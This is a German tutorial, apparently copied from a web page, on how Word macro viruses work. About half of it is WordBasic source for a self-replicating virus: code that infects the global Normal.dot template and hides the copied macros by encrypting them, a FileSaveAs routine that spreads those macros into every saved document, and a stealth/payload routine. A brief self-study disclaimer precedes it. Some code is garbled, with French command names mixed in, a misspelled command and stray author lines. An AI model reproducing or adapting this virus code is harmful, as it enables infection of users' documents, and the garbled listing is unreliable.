Eine kleine Einführung in die Funktionsweise von

Werbung
"Andreas Krennmair" <[email protected]>
Eine kleine Einführung in die Funktionsweise von Makroviren
1. Vorbereitung
Diese Beschreibung dient dem Selbststudium über Funktionsweisen von Makroviren. Dieses
Dokument soll nicht als Anleitung oder Ermutigung von Programmieren von Makroviren, Viren, oder anderen destruktiven Programmen ermutigen. Der Autor dieses
Dokuments haftet für keine Schäden, die aus der direkten oder indirekten Verwendung
dieses Dokumentes resultieren!
Zu aller erst sollte man ein Backup der Datei “Normal.dot” im Word Vorlagen Verzeichnis
machen, in der DOS-Box mit folgendem Kommando: copy normal.dot normal.sav (im Word
Vorlagen Verzeichnis).
2. Struktur
Viele Makroviren haben eine einfache und übersichtliche Struktur, an der man sehr gut
nachvollziehen kann, wie (generell) “qualitativ hochwertige” Viren programmiert werden.
Obwohl die Implementationssprache (der BASIC-Dialekt “WordBasic”) keine besonders gute
ist (Anachronismen => “goto”), ist der Quelltext doch verständlich. Um ein wenig
mitzukommen, wie alles wirklich funktioniert, sollten sie die Hilfedatei zu WordBasic
installiert haben und auch mindestens eine Programmiersprache (z.B. PASCAL, besser noch
TCL) beherrschen.
Das hier ist eine erste Grundstruktur, die testet, ob eine Vorlage schon infiziert. Ist dieser Test
negativ, so infiziert der Virus die Vorlage:
Sub MAIN
‘ Das ist ein Kommentar in BASIC
On Error Goto Abort
iMacroCount = CountMacros(0, 0)
'Auf eine bereits bestehende Infektion überprüfen
For i = 1 To iMacroCount
If MacroName$(i, 0, 0) = "PayLoad" Then
bInstalled = - 1
'Gibt es schon ein PayLoad Makro?
End If
If MacroName$(i, 0, 0) = "FileSaveAs" Then
bTooMuchTrouble = - 1
'Gibt es schon ein FileSaveAs, ist die Infektion zu
kompliziert!
End If
Next i
If Not bInstalled And Not bTooMuchTrouble Then
'Kopien von FileSaveAs und AutoExec anlegen
'Payload dient nur zum Überprüfen, ob die Vorlage schon
infiziert ist.
'Das ,1 verschlüsselt alle Makros, damit sie nicht mehr in Word
gelesen
'werden können.
iWW6IInstance = Val(GetDocumentVar$("WW6Infector"))
sMe$ = FileName$()
Macro$ = sMe$ + ":PayLoad"
MacroCopy Macro$, "Global:PayLoad", 1
Macro$ = sMe$ + ":FileOpen"
MacroCopy Macro$, "Global:FileOpen", 1
Macro$ = sMe$ + ":FileSaveAs"
MacroCopy Macro$, "Global:FileSaveAs", 1
Macro$ = sMe$ + ":AutoExec"
MacroCopy Macro$, "Global:AutoExec", 1
SetProfileString "WW6I", Str$(iWW6IInstance + 1)
"Andreas Krennmair" <[email protected]>
End If
Abort:
End Sub
Das war die erste Grundstruktur eines Makrovirus. Dieser Quelltext funktioniert jedoch nur
auf englischem Word 6 oder 7, in der deutschen Version versteht der Interpreter die
englischen Befehle nicht. Das habe ich aus Sicherheit gemacht, damit niemand dieses
Dokument mißbrauchen kann (niemand wird ein englisches Word besitzen)!
Dieser Code wird in die SaveAs Routine eingebracht:
Sub MAIN
Dim dlg As FileSaveAs
GetCurValues dlg
Dialog dlg
If (Dlg.Format = 0) Or (dlg.Format = 1) Then
‘Hier könnte man wieder das ,1 verwenden, um die Makros zu
verschlüsseln!
MacroCopy "FileSaveAs", WindowName$() + ":FileSaveAs"
MacroCopy "FileSave ", WindowName$() + ":FileSave"
MacroCopy "PayLoad", WindowName$() + ":PayLoad"
MacroCopy "FileOpen", WindowName$() + ":FileOpen"
Dlg.Format = 1
End If
FileDaveAs dlg
End Sub
Das ist bis jetzt ein ziemlich effektives Makro, um den Virus zu verbreiten. Nun gilt es auch,
den Makrovirus zu verstecken oder eine Schadensroutine auszuführen (was natürlich
destruktiv ist!).
Dazu kann man dieses Makro verwenden:
Sub MAIN
On Error Goto ErrorRoutine
OldName$ = NomFichier$()
If macros.bDebug Then
MsgBox "start ToolsMacro"
Dim dlg As OutilsMacro
If macros.bDebug Then MsgBox "1"
GetCurValues dlg
If macros.bDebug Then MsgBox "2"
On Error Goto Skip
Dialog dlg
OutilsMacro dlg
Skip:
On Error Goto ErrorRoutine
End If
REM enable automacros
DisableAutoMacros 0
macros.SavToGlobal(OldName$)
macros.objectiv
Goto Done
ErrorRoutine:
On Error Goto Done
If macros.bDebug Then
"Andreas Krennmair" <[email protected]>
MsgBox "error " + Str$(Err) + " occurred"
End If
Done:
End Sub
3. Nachwort
Diese Beispiele verdeutlichen, wie einfach es doch ist, seinen eigenen Makrovirus zu
programmieren. Microsoft hat es wirklich leicht gemacht und auf viele Schutzfunktionen
vergessen. Interessant werden auch Makroviren, deren Wirtsdokument von Word 95 auf
Word 97/2000 konvertiert wird. Dies ist eine nicht zu unterschätzende Gefahr: dabei
entstehen neue Versionen von bereits bekannten Viren, AntiViren-Programme müssen erst
damit umgehen lernen (z.B. McAfee: Update der Virus Data Files ist dann notwendig). Doch
nur ca. 5 % aller Makroviren überleben diese Konvertierung, denn die Schutzfunktion in
Word 97 sind um einiges strenger geworden.
Herunterladen